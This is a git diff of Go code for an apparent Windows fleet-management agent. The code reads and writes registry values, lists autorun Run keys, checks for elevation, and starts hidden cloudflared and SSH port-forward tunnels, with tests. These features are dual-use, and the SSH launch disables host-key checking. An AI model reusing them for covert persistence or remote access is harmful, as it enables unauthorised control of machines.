|
||||
return []string{
|
||||
RegistryHKCURun,
|
||||
RegistryHKCURunOnce,
|
||||
RegistryHKLMRun,
|
||||
RegistryHKLMRunOnce,
|
||||
RegistryExplorerRun,
|
||||
}
|
||||
}
|
||||
|
||||
// IsProcessElevated reports whether the current token is in the Administrators role.
|
||||
func IsProcessElevated() bool {
|
||||
var token windows.Token
|
||||
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil {
|
||||
return false
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
// TokenElevationTypeFull (2) on Vista+
|
||||
var elevation uint32
|
||||
var outLen uint32
|
||||
err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen)
|
||||
if err == nil && elevation != 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
// Fallback: check admin SID membership.
|
||||
sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
// FleetRegistryRead returns JSON-friendly map of value names to {type,value}.
|
||||
func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return nil, fmt.Errorf("HKLM read requires elevation")
|
||||
}
|
||||
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, err := k.ReadValueNames(-1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
values := make(map[string]interface{}, len(names))
|
||||
for _, name := range names {
|
||||
val, valType, err := readRegistryValue(k, name)
|
||||
if err != nil {
|
||||
values[name] = map[string]string{"error": err.Error()}
|
||||
continue
|
||||
}
|
||||
values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val}
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"hive": strings.ToUpper(hiveToken),
|
||||
"path": subkey,
|
||||
"values": values,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return err
|
||||
}
|
||||
name = SanitizeRegistryValueName(name)
|
||||
if name == "" {
|
||||
return fmt.Errorf("value name is required")
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return fmt.Errorf("HKLM write requires elevation")
|
||||
}
|
||||
k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
switch strings.ToUpper(strings.TrimSpace(valType)) {
|
||||
case "REG_DWORD", "DWORD":
|
||||
var n uint32
|
||||
if _, err := fmt.Sscanf(value, "%d", &n); err != nil {
|
||||
return fmt.Errorf("invalid REG_DWORD value %q", value)
|
||||
}
|
||||
return k.SetDWordValue(name, n)
|
||||
case "REG_SZ", "SZ", "":
|
||||
return k.SetStringValue(name, value)
|
||||
default:
|
||||
return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType)
|
||||
}
|
||||
}
|
||||
|
||||
func FleetRegistryDelete(hiveToken, subkey, name string) error {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return err
|
||||
}
|
||||
name = SanitizeRegistryValueName(name)
|
||||
if name == "" {
|
||||
return fmt.Errorf("value name is required")
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return fmt.Errorf("HKLM delete requires elevation")
|
||||
}
|
||||
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.DeleteValue(name)
|
||||
}
|
||||
|
||||
func registryHiveKey(hiveToken string) (registry.Key, error) {
|
||||
switch hiveToken {
|
||||
case "hkcu":
|
||||
return registry.CURRENT_USER, nil
|
||||
case "hklm":
|
||||
return registry.LOCAL_MACHINE, nil
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown hive token %q", hiveToken)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeSubkey(path string) string {
|
||||
path = strings.TrimSpace(path)
|
||||
path = strings.TrimPrefix(path, `\`)
|
||||
for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} {
|
||||
if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) {
|
||||
path = path[len(prefix):]
|
||||
break
|
||||
}
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) {
|
||||
val, valType, err := k.GetStringValue(name)
|
||||
if err == nil {
|
||||
return val, valType, nil
|
||||
}
|
||||
if err != registry.ErrUnexpectedType {
|
||||
return nil, 0, err
|
||||
}
|
||||
n, _, err := k.GetIntegerValue(name)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return n, registry.DWORD, nil
|
||||
}
|
||||
|
||||
func registryTypeName(t uint32) string {
|
||||
switch t {
|
||||
case registry.SZ:
|
||||
return "REG_SZ"
|
||||
case registry.DWORD:
|
||||
return "REG_DWORD"
|
||||
default:
|
||||
return fmt.Sprintf("REG_%d", t)
|
||||
}
|
||||
}
|
||||
39
agent/deploy/tunnel_manager_stub.go
Normal file
39
agent/deploy/tunnel_manager_stub.go
Normal file
@@ -0,0 +1,39 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
type TunnelKind string
|
||||
|
||||
const (
|
||||
TunnelCloudflared TunnelKind = "cloudflared"
|
||||
TunnelSSHForward TunnelKind = "ssh_forward"
|
||||
)
|
||||
|
||||
type SSHForwardMeta struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
}
|
||||
|
||||
func RegisterTunnelPID(_ TunnelKind, _ int, _ string) {}
|
||||
|
||||
func TunnelStatus() string {
|
||||
b, _ := json.Marshal(map[string]any{
|
||||
"cloudflared_running": false,
|
||||
"ssh_forwards": []any{},
|
||||
"platform": "unsupported",
|
||||
})
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func StopTunnels(_ ...TunnelKind) (int, []string) {
|
||||
return 0, []string{"tunnel stop is Windows-only in this build"}
|
||||
}
|
||||
|
||||
func ResetTrackedTunnels() {}
|
||||
|
||||
func CloudflaredTargetFromEnv() string { return "" }
|
||||
62
agent/deploy/tunnel_manager_test.go
Normal file
62
agent/deploy/tunnel_manager_test.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTunnelManagerRegisterAndStatus(t *testing.T) {
|
||||
ResetTrackedTunnels()
|
||||
oldAlive := processAliveFn
|
||||
processAliveFn = func(int) bool { return true }
|
||||
defer func() { processAliveFn = oldAlive }()
|
||||
|
||||
RegisterTunnelPID(TunnelCloudflared, 4242, "https://example.com")
|
||||
RegisterTunnelPID(TunnelSSHForward, 9999, `{"local_port":2222,"remote_host":"10.0.0.5","remote_port":22}`)
|
||||
|
||||
raw := TunnelStatus()
|
||||
var st TunnelStatusJSON
|
||||
if err := json.Unmarshal([]byte(raw), &st); err != nil {
|
||||
t.Fatalf("status json: %v", err)
|
||||
}
|
||||
if !st.CloudflaredRunning || st.CloudflaredPID != 4242 || st.CloudflaredURL != "https://example.com" {
|
||||
t.Fatalf("cloudflared status wrong: %+v", st)
|
||||
}
|
||||
if len(st.SSHForwards) != 1 || st.SSHForwards[0].LocalPort != 2222 {
|
||||
t.Fatalf("ssh forward status wrong: %+v", st.SSHForwards)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStopTunnelsEmptyRegistry(t *testing.T) {
|
||||
ResetTrackedTunnels()
|
||||
n, msgs := StopTunnels()
|
||||
if n != 0 {
|
||||
t.Fatalf("expected 0 stopped, got %d", n)
|
||||
}
|
||||
if len(msgs) != 0 {
|
||||
t.Fatalf("expected no msgs, got %v", msgs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartSSHForwardValidation(t *testing.T) {
|
||||
_, err := StartSSHForward(SSHForwardMeta{})
|
||||
if err == nil || !strings.Contains(err.Error(), "local_port") {
|
||||
t.Fatalf("expected local_port error, got %v", err)
|
||||
}
|
||||
_, err = StartSSHForward(SSHForwardMeta{LocalPort: 2222})
|
||||
if err == nil || !strings.Contains(err.Error(), "remote_host") {
|
||||
t.Fatalf("expected remote_host error, got %v", err)
|
||||
}
|
||||
}
|
||||
175
agent/deploy/tunnel_manager_windows.go
Normal file
175
agent/deploy/tunnel_manager_windows.go
Normal file
@@ -0,0 +1,175 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// TunnelKind identifies a tracked tunnel process.
|
||||
type TunnelKind string
|
||||
|
||||
const (
|
||||
TunnelCloudflared TunnelKind = "cloudflared"
|
||||
TunnelSSHForward TunnelKind = "ssh_forward"
|
||||
)
|
||||
|
||||
// SSHForwardMeta describes one local port forward on the agent.
|
||||
type SSHForwardMeta struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
}
|
||||
|
||||
type tunnelEntry struct {
|
||||
kind TunnelKind
|
||||
pid int
|
||||
meta string // JSON metadata for ssh forwards; URL for cloudflared
|
||||
}
|
||||
|
||||
var (
|
||||
tunnelMu sync.Mutex
|
||||
trackedTunnels []tunnelEntry
|
||||
)
|
||||
|
||||
// RegisterTunnelPID records a background tunnel process for later stop/status.
|
||||
func RegisterTunnelPID(kind TunnelKind, pid int, meta string) {
|
||||
if pid <= 0 {
|
||||
return
|
||||
}
|
||||
tunnelMu.Lock()
|
||||
defer tunnelMu.Unlock()
|
||||
if kind == TunnelCloudflared {
|
||||
next := make([]tunnelEntry, 0, len(trackedTunnels)+1)
|
||||
for _, t := range trackedTunnels {
|
||||
if t.kind != TunnelCloudflared {
|
||||
next = append(next, t)
|
||||
}
|
||||
}
|
||||
trackedTunnels = append(next, tunnelEntry{kind: kind, pid: pid, meta: meta})
|
||||
return
|
||||
}
|
||||
trackedTunnels = append(trackedTunnels, tunnelEntry{kind: kind, pid: pid, meta: meta})
|
||||
}
|
||||
|
||||
const processQueryLimitedInformation = 0x1000
|
||||
|
||||
var processAliveFn = processAliveImpl
|
||||
|
||||
func processAlive(pid int) bool {
|
||||
return processAliveFn(pid)
|
||||
}
|
||||
|
||||
func processAliveImpl(pid int) bool {
|
||||
if pid <= 0 {
|
||||
return false
|
||||
}
|
||||
h, err := syscall.OpenProcess(processQueryLimitedInformation, false, uint32(pid))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer syscall.CloseHandle(h)
|
||||
var code uint32
|
||||
err = syscall.GetExitCodeProcess(h, &code)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return code == 259 // STILL_ACTIVE
|
||||
}
|
||||
|
||||
func killPID(pid int) error {
|
||||
if pid <= 0 {
|
||||
return fmt.Errorf("invalid pid")
|
||||
}
|
||||
return HiddenRun("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
|
||||
}
|
||||
|
||||
func pruneDead() {
|
||||
alive := trackedTunnels[:0]
|
||||
for _, t := range trackedTunnels {
|
||||
if processAlive(t.pid) {
|
||||
alive = append(alive, t)
|
||||
}
|
||||
}
|
||||
trackedTunnels = alive
|
||||
}
|
||||
|
||||
// TunnelStatus returns JSON describing tracked tunnel processes.
|
||||
func TunnelStatus() string {
|
||||
tunnelMu.Lock()
|
||||
pruneDead()
|
||||
snap := append([]tunnelEntry(nil), trackedTunnels...)
|
||||
tunnelMu.Unlock()
|
||||
|
||||
st := TunnelStatusJSON{SSHForwards: []SSHForwardLive{}}
|
||||
for _, t := range snap {
|
||||
switch t.kind {
|
||||
case TunnelCloudflared:
|
||||
st.CloudflaredRunning = true
|
||||
st.CloudflaredURL = t.meta
|
||||
st.CloudflaredPID = t.pid
|
||||
case TunnelSSHForward:
|
||||
var meta SSHForwardMeta
|
||||
_ = json.Unmarshal([]byte(t.meta), &meta)
|
||||
st.SSHForwards = append(st.SSHForwards, SSHForwardLive{
|
||||
LocalPort: meta.LocalPort,
|
||||
RemoteHost: meta.RemoteHost,
|
||||
RemotePort: meta.RemotePort,
|
||||
SSHUser: meta.SSHUser,
|
||||
JumpHost: meta.JumpHost,
|
||||
PID: t.pid,
|
||||
Running: true,
|
||||
})
|
||||
}
|
||||
}
|
||||
b, _ := json.Marshal(st)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// StopTunnels stops tracked tunnel kinds. Empty kinds stops all.
|
||||
func StopTunnels(kinds ...TunnelKind) (stopped int, msgs []string) {
|
||||
tunnelMu.Lock()
|
||||
defer tunnelMu.Unlock()
|
||||
pruneDead()
|
||||
|
||||
wantAll := len(kinds) == 0
|
||||
want := map[TunnelKind]bool{}
|
||||
for _, k := range kinds {
|
||||
want[k] = true
|
||||
}
|
||||
|
||||
remaining := trackedTunnels[:0]
|
||||
for _, t := range trackedTunnels {
|
||||
if wantAll || want[t.kind] {
|
||||
if err := killPID(t.pid); err != nil {
|
||||
msgs = append(msgs, fmt.Sprintf("%s pid %d: %v", t.kind, t.pid, err))
|
||||
} else {
|
||||
stopped++
|
||||
msgs = append(msgs, fmt.Sprintf("stopped %s pid %d", t.kind, t.pid))
|
||||
}
|
||||
continue
|
||||
}
|
||||
remaining = append(remaining, t)
|
||||
}
|
||||
trackedTunnels = remaining
|
||||
return stopped, msgs
|
||||
}
|
||||
|
||||
// ResetTrackedTunnels clears registry without killing (tests only).
|
||||
func ResetTrackedTunnels() {
|
||||
tunnelMu.Lock()
|
||||
trackedTunnels = nil
|
||||
tunnelMu.Unlock()
|
||||
}
|
||||
|
||||
// CloudflaredTargetFromEnv returns trimmed URL or empty.
|
||||
func CloudflaredTargetFromEnv() string {
|
||||
return strings.TrimSpace(os.Getenv("AETHERFORGE_TUNNEL_URL"))
|
||||
}
|
||||
9
agent/deploy/tunnel_ssh_stub.go
Normal file
9
agent/deploy/tunnel_ssh_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func StartSSHForward(_ SSHForwardMeta) (string, error) {
|
||||
return "", fmt.Errorf("ssh forward is Windows-only in this build")
|
||||
}
|
||||
67
agent/deploy/tunnel_ssh_windows.go
Normal file
67
agent/deploy/tunnel_ssh_windows.go
Normal file
@@ -0,0 +1,67 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
|
||||
func StartSSHForward(meta SSHForwardMeta) (string, error) {
|
||||
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
|
||||
return "", fmt.Errorf("local_port required (1-65535)")
|
||||
}
|
||||
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
|
||||
if meta.RemoteHost == "" {
|
||||
return "", fmt.Errorf("remote_host required")
|
||||
}
|
||||
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
|
||||
return "", fmt.Errorf("remote_port required (1-65535)")
|
||||
}
|
||||
jump := strings.TrimSpace(meta.JumpHost)
|
||||
if jump == "" {
|
||||
jump = meta.RemoteHost
|
||||
}
|
||||
user := strings.TrimSpace(meta.SSHUser)
|
||||
if user == "" {
|
||||
user = os.Getenv("USERNAME")
|
||||
if user == "" {
|
||||
user = "Administrator"
|
||||
}
|
||||
}
|
||||
|
||||
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
|
||||
target := fmt.Sprintf("%s@%s", user, jump)
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if sshPath, err := exec.LookPath("ssh"); err == nil {
|
||||
cmd = HiddenCommand(sshPath, "-N",
|
||||
"-o", "StrictHostKeyChecking=no",
|
||||
"-o", "BatchMode=yes",
|
||||
"-o", "ExitOnForwardFailure=yes",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
|
||||
cmd = HiddenCommand(plinkPath, "-N",
|
||||
"-batch",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else {
|
||||
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start ssh forward: %w", err)
|
||||
}
|
||||
|
||||
metaBlob, _ := json.Marshal(meta)
|
||||
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
|
||||
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
|
||||
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
22
agent/deploy/tunnel_types.go
Normal file
22
agent/deploy/tunnel_types.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package deploy
|
||||
|
||||
// TunnelStatusJSON is returned by tunnel_status on the agent.
|
||||
type TunnelStatusJSON struct {
|
||||
CloudflaredRunning bool `json:"cloudflared_running"`
|
||||
CloudflaredURL string `json:"cloudflared_url,omitempty"`
|
||||
CloudflaredPID int `json:"cloudflared_pid,omitempty"`
|
||||
WireGuardActive bool `json:"wireguard_active,omitempty"`
|
||||
WireGuardDetail string `json:"wireguard_detail,omitempty"`
|
||||
SSHForwards []SSHForwardLive `json:"ssh_forwards"`
|
||||
}
|
||||
|
||||
// SSHForwardLive is an active SSH local forward.
|
||||
type SSHForwardLive struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
PID int `json:"pid"`
|
||||
Running bool `json:"running"`
|
||||
}
|
||||
@@ -31,5 +31,6 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
RegisterTunnelPID(TunnelCloudflared, cmd.Process.Pid, serverURL)
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user